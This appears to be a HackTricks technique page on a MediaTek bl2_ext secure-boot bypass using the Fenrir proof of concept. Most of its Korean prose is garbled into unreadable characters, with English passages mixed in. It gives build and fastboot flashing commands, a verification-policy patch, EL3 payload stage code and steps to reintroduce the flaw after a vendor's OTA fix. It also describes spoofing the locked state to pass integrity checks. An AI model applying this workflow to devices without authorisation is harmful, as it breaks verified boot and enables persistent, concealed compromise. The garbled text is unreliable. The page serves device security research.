MediaTek bl2_ext Secure-Boot Bypass (EL3 Code Execution)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ ๋๋ฐ์ด์ค ๋ถํธ๋ก๋ ๊ตฌ์ฑ(seccfg)์ด โunlockedโ ์ํ์ผ ๋ ๊ฒ์ฆ ๊ณต๋ฐฑ์ ์ ์ฉํด ์ฌ๋ฌ MediaTek ํ๋ซํผ์์ ์ค์ ๋ก ๋์ํ๋ secure-boot break๋ฅผ ๋ฌธ์ํํ๋ค. ์ด ๊ฒฐํจ์ ํจ์น๋ bl2_ext๋ฅผ ARM EL3์์ ์คํ์์ผ ํ๋ฅ์ ์๋ช ๊ฒ์ฆ์ ๋นํ์ฑํํ ์ ์๊ฒ ํ๋ฉฐ, ์ ๋ขฐ ์ฒด์ธ์ ๋ถ๊ดด์์ผ ์์์ ์๋ช ๋์ง ์์ TEE/GZ/LK/Kernel ๋ก๋๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ๋ค.
๊ฒฝ๊ณ : ์ด๊ธฐ ๋ถํธ ๋จ๊ณ์์์ ํจ์น๋ ์คํ์ ์ด ํ๋ฆฌ๋ฉด ๊ธฐ๊ธฐ๋ฅผ ์๊ตฌ์ ์ผ๋ก ๋ฒฝ๋๋ก ๋ง๋ค ์ ์๋ค. ํญ์ ์ ์ฒด ๋คํ์ ์ ๋ขฐํ ์ ์๋ ๋ณต๊ตฌ ๊ฒฝ๋ก๋ฅผ ๋ณด๊ดํ๋ผ.
์ํฅ ๋ฐ๋ ๋ถํธ ํ๋ก์ฐ (MediaTek)
- ์ ์ ๊ฒฝ๋ก: BootROM โ Preloader โ bl2_ext (EL3, verified) โ TEE โ GenieZone (GZ) โ LK/AEE โ Linux kernel (EL1)
- ์ทจ์ฝ ๊ฒฝ๋ก: seccfg๊ฐ unlocked๋ก ์ค์ ๋๋ฉด Preloader๊ฐ bl2_ext์ ๊ฒ์ฆ์ ๊ฑด๋๋ธ ์ ์๋ค. Preloader๋ ์ฌ์ ํ EL3์์ bl2_ext๋ก ์ ํํ๋ฏ๋ก, ์กฐ์๋ bl2_ext๊ฐ ์ดํ์ ๊ฒ์ฆ๋์ง ์์ ์ปดํฌ๋ํธ๋ค์ ๋ก๋ํ ์ ์๋ค.
ํต์ฌ ์ ๋ขฐ ๊ฒฝ๊ณ:
- bl2_ext๋ EL3์์ ์คํ๋๋ฉฐ TEE, GenieZone, LK/AEE ๋ฐ ์ปค๋์ ๊ฒ์ฆ์ ๋ด๋นํ๋ค. bl2_ext ์์ฒด๊ฐ ์ธ์ฆ๋์ง ์์ผ๋ฉด ๋๋จธ์ง ์ฒด์ธ์ ์ฝ๊ฒ ์ฐํ๋๋ค.
๊ทผ๋ณธ ์์ธ
์ํฅ ๋ฐ๋ ๊ธฐ๊ธฐ๋ค์์๋ seccfg๊ฐ โunlockedโ ์ํ๋ฅผ ๋ํ๋ผ ๋ Preloader๊ฐ bl2_ext ํํฐ์ ์ ์ธ์ฆ์ ๊ฐ์ ํ์ง ์๋๋ค. ์ด๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ bl2_ext๋ฅผ ํ๋์ํด EL3์์ ์คํ๋๋๋ก ํ์ฉํ๋ค.
bl2_ext ๋ด๋ถ์์ ๊ฒ์ฆ ์ ์ฑ ํจ์๋ ๊ฒ์ฆ์ด ํ์ํ์ง ์๋ค๊ณ ๋ฌด์กฐ๊ฑด ๋ณด๊ณ ํ๋๋ก ํจ์น๋ ์ ์๋ค. ์ต์ํ์ ๊ฐ๋ ์ ํจ์น๋ ๋ค์๊ณผ ๊ฐ๋ค:
// inside bl2_ext
int sec_get_vfy_policy(...) {
return 0; // always: "no verification required"
}
์ด ๋ณ๊ฒฝ์ผ๋ก EL3์์ ์คํ๋๋ ํจ์น๋ bl2_ext๊ฐ ๋ก๋ํ ๋, ์ดํ์ ๋ชจ๋ ์ด๋ฏธ์ง(TEE, GZ, LK/AEE, Kernel)๋ ์ํธํ ๊ฒ์ฆ ์์ด ํ์ฉ๋ฉ๋๋ค.
ํ๊น์ ๋ถ๋ฅํ๋ ๋ฐฉ๋ฒ (expdb ๋ก๊ทธ)
bl2_ext ๋ก๋ ์ฃผ๋ณ์ ๋ถํธ ๋ก๊ทธ(์: expdb)๋ฅผ ๋คํ/๊ฒ์ฌํ์ธ์. ๋ง์ฝ img_auth_required = 0 ์ด๊ณ certificate verification time ์ด ์ฝ ~0 ms ๋ผ๋ฉด, enforcement๊ฐ ๊บผ์ ธ ์์ ๊ฐ๋ฅ์ฑ์ด ๋์ผ๋ฉฐ ๊ธฐ๊ธฐ๋ exploitableํฉ๋๋ค.
์์ ๋ก๊ทธ ๋ฐ์ท:
[PART] img_auth_required = 0
[PART] Image with header, name: bl2_ext, addr: FFFFFFFFh, mode: FFFFFFFFh, size:654944, magic:58881688h
[PART] part: lk_a img: bl2_ext cert vfy(0 ms)
Note: Some devices reportedly skip bl2_ext verification even with a locked bootloader, which exacerbates the impact.
์ผ๋ถ ๋๋ฐ์ด์ค๋ locked bootloader ์ํ์์๋ bl2_ext ๊ฒ์ฆ์ ๊ฑด๋๋ด๋ค๊ณ ๋ณด๊ณ ๋์์ผ๋ฉฐ, ์ด๋ ์ํฅ ๋ฒ์๋ฅผ ๋ ์ ํ์ํจ๋ค.
Devices that ship the lk2 secondary bootloader have been observed with the same logic gap, so grab expdb logs for both bl2_ext and lk2 partitions to confirm whether either path enforces signatures before you attempt porting.
lk2 secondary bootloader๋ฅผ ํ์ฌํ ๋๋ฐ์ด์ค์์๋ ๋์ผํ ๋ ผ๋ฆฌ์ ๊ฒฐํจ์ด ๊ด์ฐฐ๋์์ผ๋ฏ๋ก, ํฌํ ์ ์๋ํ๊ธฐ ์ ์ bl2_ext ๋ฐ lk2 ํํฐ์ ์ expdb logs๋ฅผ ์์งํด ๋ ๊ฒฝ๋ก ์ค ์ด๋ ์ชฝ์ด ์๋ช ์ ๊ฐ์ ํ๋์ง ํ์ธํ๋ผ.
If a post-OTA Preloader now logs img_auth_required = 1 for bl2_ext even while seccfg is unlocked, the vendor likely closed the gapโsee the OTA persistence notes below.
๋ง์ฝ post-OTA Preloader๊ฐ seccfg๊ฐ unlocked ์ํ์์๋ bl2_ext์ ๋ํด img_auth_required = 1์ ๊ธฐ๋กํ๋ค๋ฉด, ๊ณต๊ธ์ ์ฒด๊ฐ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ ๊ฐ๋ฅ์ฑ์ด ๋๋ค โ ์๋์ OTA persistence notes๋ฅผ ์ฐธ์กฐํ๋ผ.
Practical exploitation workflow (Fenrir PoC)
Fenrir is a reference exploit/patching toolkit for this class of issue. It supports Nothing Phone (2a) (Pacman) and is known working (incompletely supported) on CMF Phone 1 (Tetris). Porting to other models requires reverse engineering the device-specific bl2_ext.
Fenrir๋ ์ด ํด๋์ค์ ๋ฌธ์ ์ ๋ํ ์ฐธ์กฐ exploit/patching ํดํท์ด๋ค. Nothing Phone (2a) (Pacman)์ ์ง์ํ๋ฉฐ, CMF Phone 1 (Tetris)์์๋ ๋ถ๋ถ์ ์ผ๋ก ๋์ํ๋ ๊ฒ์ผ๋ก ์๋ ค์ ธ ์๋ค. ๋ค๋ฅธ ๋ชจ๋ธ๋ก ํฌํ ํ๋ ค๋ฉด ๊ธฐ๊ธฐ๋ณ bl2_ext์ ๋ํ ๋ฆฌ๋ฒ์ค ์์ง๋์ด๋ง์ด ํ์ํ๋ค.
High-level process:
- Obtain the device bootloader image for your target codename and place it as
bin/<device>.bin - Build a patched image that disables the bl2_ext verification policy
- Flash the resulting payload to the device (fastboot assumed by the helper script)
์์ ์์ค ์ ์ฐจ:
- ๋์ codename์ ๋ํ device bootloader image๋ฅผ ํ๋ณดํ๊ณ
bin/<device>.bin์ผ๋ก ๋ฐฐ์นํ๋ค - bl2_ext verification policy๋ฅผ ๋นํ์ฑํํ๋ patched image๋ฅผ ๋น๋ํ๋ค
- ์์ฑ๋ payload๋ฅผ device์ flashํ๋ค (ํฌํผ ์คํฌ๋ฆฝํธ๋ fastboot ์ฌ์ฉ์ ์ ์ ๋ก ํ๋ค)
Commands:
# Build patched image (default path bin/[device].bin)
./build.sh pacman
# Build from a custom bootloader path
./build.sh pacman /path/to/your/bootloader.bin
# Flash the resulting lk.patched (fastboot required by the helper script)
./flash.sh
fastboot๋ฅผ ์ฌ์ฉํ ์ ์๋ ๊ฒฝ์ฐ, ํ๋ซํผ์ ์ ํฉํ ๋ค๋ฅธ flashing method๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
OTA-patched firmware: ์ฐํ ์ ์งํ๊ธฐ (NothingOS 4, late 2025)
Nothing๋ 2025๋
11์ NothingOS 4 stable OTA (build BP2A.250605.031.A3)์์ Preloader๋ฅผ ํจ์นํ์ฌ seccfg๊ฐ ์ ๊ธ ํด์ ๋์ด ์๋๋ผ๋ bl2_ext ๊ฒ์ฆ์ ๊ฐ์ ํ์ต๋๋ค. Fenrir pacman-v2.0๋ NOS 4 beta์ ์ทจ์ฝํ Preloader์ stable LK payload๋ฅผ ์์ด ๋ค์ ์๋ํฉ๋๋ค:
# on Nothing Phone (2a), unlocked bootloader, in bootloader (not fastbootd)
fastboot flash preloader_a preloader_raw.img # beta Preloader bundled with fenrir release
fastboot flash lk pacman-fenrir.bin # patched LK containing stage hooks
fastboot reboot # factory reset may be needed
์ค์:
- ์ ๊ณต๋ Preloader๋ฅผ ์ค์ง ์ผ์นํ๋ device/slot์๋ง Flashํ์ญ์์ค; ์๋ชป๋ preloader๋ ์ฆ์ hard brick์ ์ด๋ํฉ๋๋ค.
- flashing ํ expdb๋ฅผ ํ์ธํ์ญ์์ค; img_auth_required๋ bl2_ext์ ๋ํด 0์ผ๋ก ๋์์์ผ ํ๋ฉฐ, ์ด๋ ์ทจ์ฝํ Preloader๊ฐ ํจ์น๋ LK๋ณด๋ค ๋จผ์ ์คํ๋๊ณ ์์์ ํ์ธํฉ๋๋ค.
- ํฅํ OTAs๊ฐ Preloader์ LK ๋ ๋ค ํจ์นํ๋ฉด, ์ทจ์ฝํ Preloader์ ๋ก์ปฌ ๋ณต์ฌ๋ณธ์ ๋ณด๊ดํ์ฌ ํด๋น ๊ฐ๊ทน์ reโintroduceํ ์ ์๋๋ก ํ์ญ์์ค.
๋น๋ ์๋ํ & payload ๋๋ฒ๊น
build.sh์ ์ฒ์ ์คํํ ๋ Arm GNU Toolchain 14.2 (aarch64-none-elf)๋ฅผ ์๋์ผ๋ก ๋ค์ด๋ก๋ํ๊ณ exportํ๋ฏ๋ก cross-compilers๋ฅผ ์๋์ผ๋ก ๊ด๋ฆฌํ ํ์๊ฐ ์์ต๋๋ค.build.sh์ ํธ์ถํ๊ธฐ ์ ์DEBUG=1์ exportํ๋ฉด verbose serial prints๋ฅผ ํฌํจํด payloads๋ฅผ ์ปดํ์ผํ๋ฏ๋ก, EL3 ์ฝ๋ ๊ฒฝ๋ก๋ฅผ blind-patchingํ ๋ ๋๋ฒ๊น ์ ํฌ๊ฒ ๋์์ด ๋ฉ๋๋ค.- ๋น๋๊ฐ ์ฑ๊ณตํ๋ฉด
lk.patched์<device>-fenrir.bin๋ ํ์ผ์ด ์์ฑ๋ฉ๋๋ค; ํ์๋ ์ด๋ฏธ payload๊ฐ ์ฃผ์ ๋์ด ์์ผ๋ฏ๋ก flash/boot-testํ ๋์์ ๋๋ค.
๋ฐํ์ payload ๊ธฐ๋ฅ (EL3)
ํจ์น๋ bl2_ext payload๋ ๋ค์์ ์ํํ ์ ์๋ค:
- ์ปค์คํ fastboot ๋ช ๋ น์ ๋ฑ๋กํ ์ ์๋ค
- boot mode๋ฅผ ์ ์ด/์ค๋ฒ๋ผ์ด๋ํ ์ ์๋ค
- ๋ฐํ์์ builtโin bootloader ํจ์๋ฅผ ๋์ ์ผ๋ก ํธ์ถํ ์ ์๋ค
- ์ค์ ๋ก๋ unlocked ์ํ์ธ๋ฐ๋ โlock stateโ๋ฅผ locked๋ก ์คํธํํ์ฌ ๋ ์๊ฒฉํ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๋ฅผ ํต๊ณผํ ์ ์๋ค (์ผ๋ถ ํ๊ฒฝ์์๋ ์ฌ์ ํ vbmeta/AVB ์กฐ์ ์ด ํ์ํ ์ ์์)
์ ํ์ฌํญ: ํ์ฌ PoCs๋ค์ ๋ฐํ์ ๋ฉ๋ชจ๋ฆฌ ์์ ์ MMU ์ ์ฝ์ผ๋ก ์ธํด ์ค๋ฅ๊ฐ ๋ฐ์ํ ์ ์๋ค๊ณ ๋ณด๊ณ ํ๋ฉฐ; ์ด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋ ๋๊น์ง payloads๋ ์ผ๋ฐ์ ์ผ๋ก ๋ผ์ด๋ธ ๋ฉ๋ชจ๋ฆฌ ์ฐ๊ธฐ๋ฅผ ํผํฉ๋๋ค.
Payload ์คํ ์ด์ง ํจํด (EL3)
Fenrir๋ ๊ณ์ธก์ ์ธ ๊ฐ์ compile-time ๋จ๊ณ๋ก ๋ถ๋ฆฌํฉ๋๋ค: stage1์ platform_init() ์ด์ ์ ์คํ๋๊ณ , stage2๋ LK๊ฐ fastboot ์ง์
์ ์ ํธํ๊ธฐ ์ ์ ์คํ๋๋ฉฐ, stage3๋ LK๊ฐ Linux๋ฅผ ๋ก๋ํ๊ธฐ ์ง์ ์ ์คํ๋ฉ๋๋ค. payload/devices/ ์๋์ ๊ฐ device ํค๋๋ ์ด๋ฌํ ํํฌ๋ค์ ์ฃผ์์ fastboot ํฌํผ ์ฌ๋ณผ์ ์ ๊ณตํ๋ฏ๋ก, ํด๋น ์คํ์
์ ํ๊น ๋น๋์ ๋๊ธฐํํด ๋์ญ์์ค.
Stage2๋ ์์์ fastboot oem verbs๋ฅผ ๋ฑ๋กํ๊ธฐ์ ํธ๋ฆฌํ ์์น์
๋๋ค:
void cmd_r0rt1z2(const char *arg, void *data, unsigned int sz) {
video_printf("r0rt1z2 was here...\n");
fastboot_info("pwned by r0rt1z2");
fastboot_okay("");
}
__attribute__((section(".text.main"))) void main(void) {
fastboot_register("oem r0rt1z2", cmd_r0rt1z2, true, false);
notify_enter_fastboot();
}
Stage3๋ ํ์ ๋ค์ด์คํธ๋ฆผ ์ปค๋ ์ ๊ทผ ์์ด Android์ โOrange Stateโ ๊ฒฝ๊ณ ์ ๊ฐ์ ๋ถ๋ณ ๋ฌธ์์ด์ ํจ์นํ๊ธฐ ์ํด ํ์ด์ง ํ ์ด๋ธ ์์ฑ์ ์ผ์์ ์ผ๋ก ๋ฐ์ ์ํค๋ ๋ฐฉ๋ฒ์ ์์ฐํฉ๋๋ค:
set_pte_rwx(0xFFFF000050f9E3AE);
strcpy((char *)0xFFFF000050f9E3AE, "Patched by stage3");
stage1์ด ํ๋ซํผ ๊ธฐ๋ ์ด์ ์ ์คํ๋๋ฏ๋ก, verified boot chain์ด ํด์ฒด๋๊ธฐ ์ ์ OEM ์ ์/๋ฆฌ์ primitives๋ฅผ ํธ์ถํ๊ฑฐ๋ ์ถ๊ฐ ๋ฌด๊ฒฐ์ฑ ๋ก๊น ์ ์ฝ์ ํ๊ธฐ์ ์ ์ ํ ์์น์ ๋๋ค.
Porting tips
- ๊ธฐ๊ธฐ๋ณ bl2_ext๋ฅผ ๋ฆฌ๋ฒ์ค ์์ง๋์ด๋งํ์ฌ ๊ฒ์ฆ ์ ์ฑ ๋ก์ง(์: sec_get_vfy_policy)์ ์ฐพ์ผ์ธ์.
- ์ ์ฑ ์ ๋ฐํ ์ง์ ์ด๋ ๊ฒฐ์ ๋ถ๊ธฐ(decision branch)๋ฅผ ์๋ณํ๊ณ ์ด๋ฅผ โno verification requiredโ (return 0 / unconditional allow)๋ก ํจ์นํ์ธ์.
- ์คํ์ ์ ์์ ํ ๊ธฐ๊ธฐ ๋ฐ ํ์จ์ด๋ณ๋ก ์ ์งํ์ธ์; ๋ณํ๋ค ๊ฐ์ ์ฃผ์๋ฅผ ์ฌ์ฌ์ฉํ์ง ๋ง์ธ์.
- ๋จผ์ ํฌ์์ฉ ์ฅ์น์์ ๊ฒ์ฆํ์ธ์. ํ๋์ํ๊ธฐ ์ ์ ๋ณต๊ตฌ ๊ณํ(์: EDL/BootROM loader/SoC-specific download mode)์ ์ค๋นํ์ธ์.
- lk2 ์ธ์ปจ๋๋ฆฌ ๋ถํธ๋ก๋๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ์ ๊ธด ์ํ์์๋ bl2_ext์ ๋ํด โimg_auth_required = 0โ์ ๋ณด๊ณ ํ๋ ์ฅ์น๋ ์ด ์ทจ์ฝ์ ํด๋์ค์ ์ทจ์ฝํ ๋ณต์ฌ๋ณธ์ผ๋ก ๊ฐ์ฃผํด์ผ ํฉ๋๋ค; Vivo X80 Pro๋ ๋ณด๊ณ ๋ ์ ๊ธ ์ํ์๋ ๋ถ๊ตฌํ๊ณ ์ด๋ฏธ ๊ฒ์ฆ์ ๊ฑด๋๋ฐ๋ ๊ฒ์ด ๊ด์ฐฐ๋์์ต๋๋ค.
- OTA๊ฐ ์ธ๋ฝ ์ํ์์ bl2_ext ์๋ช (img_auth_required = 1)์ ๊ฐ์ ํ๊ธฐ ์์ํ๋ฉด, ๊ตฌ๋ฒ์ Preloader(์ข ์ข beta OTA์์ ์ ๊ณต ๊ฐ๋ฅ)๋ฅผ ํ๋์ํ์ฌ ์ทจ์ฝ์ ์ ๋ค์ ์ด ์ ์๋์ง ํ์ธํ ๋ค์, ์๋ก์ด LK์ ๋ง๊ฒ ์ ๋ฐ์ดํธ๋ ์คํ์ ์ผ๋ก fenrir๋ฅผ ๋ค์ ์คํํ์ธ์.
Security impact
- Preloader ์ดํ EL3 ์ฝ๋ ์คํ ๋ฐ ๋๋จธ์ง ๋ถํ ๊ฒฝ๋ก์ ๋ํ ์ ์ฒด chain-of-trust ๋ถ๊ดด.
- ์๋ช ๋์ง ์์ TEE/GZ/LK/Kernel์ ๋ถํ ํ ์ ์์ด secure/verified boot ๊ธฐ๋๋ฅผ ์ฐํํ๊ณ ์ง์์ ์ธ ์นจํด๋ฅผ ๊ฐ๋ฅํ๊ฒ ํจ.
Device notes
- Confirmed supported: Nothing Phone (2a) (Pacman)
- Known working (incomplete support): CMF Phone 1 (Tetris)
- Observed: Vivo X80 Pro reportedly did not verify bl2_ext even when locked
- NothingOS 4 stable (BP2A.250605.031.A3, Nov 2025) re-enabled bl2_ext verification; fenrir
pacman-v2.0restores the bypass by flashing the beta Preloader plus patched LK as shown above - Industry coverage highlights additional lk2-based vendors shipping the same logic flaw, so expect further overlap across 2024โ2025 MTK releases.
References
- Fenrir โ MediaTek bl2_ext secureโboot bypass (PoC)
- Cyber Security News โ PoC Exploit Released For Nothing Phone Code Execution Vulnerability
- Fenrir pacman-v2.0 release (NothingOS 4 bypass bundle)
- The Cyber Express โ Fenrir PoC breaks secure boot on Nothing Phone 2a/CMF1
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


